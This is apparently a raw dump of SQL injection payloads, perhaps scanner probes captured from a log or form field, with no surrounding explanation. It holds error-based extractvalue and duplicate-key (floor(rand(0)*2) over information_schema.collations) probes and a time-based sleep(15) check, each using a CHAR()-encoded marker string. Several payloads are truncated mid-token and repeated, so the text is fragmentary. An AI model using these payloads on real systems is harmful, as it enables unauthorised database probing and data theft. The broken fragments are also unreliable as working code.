extractvalue(1,concat(0x3a,char(52),char(67),char(117),char(120),char(102),char(101),char(98),char(121),char(110),char(121),char(119))) (select 1 and row(1,1)>(select count(*),concat(char(52),char(67),char(117),char(120),char(102),char(101),char(98),char(121),char(110),char(121),char(119),0x3a,floor(rand(0)*2))x from information_schema.collations group b (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP B if(now( 1 -1 (SELECT -1 if(now( 1 1 -1 if(now()=sysdate(),sleep(15),0) (select CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119)) extractvalue(1,concat(0x3a,char(52),char(67),char(117),char(120),char(102),char(101),char(98),char(121),char(110),char(121),char(119))) (select 1 and row(1,1)>(select count(*),concat(char(52),char(67),char(117),char(120),char(102),char(101),char(98),char(121),char(110),char(121),char(119),0x3a,floor(rand(0)*2))x from information_schema.collations group b (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP B (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP B (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(120),CHAR(102),CHAR(101),CHAR(98),CHAR(121),CHAR(110),CHAR(121),CHAR(119),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP B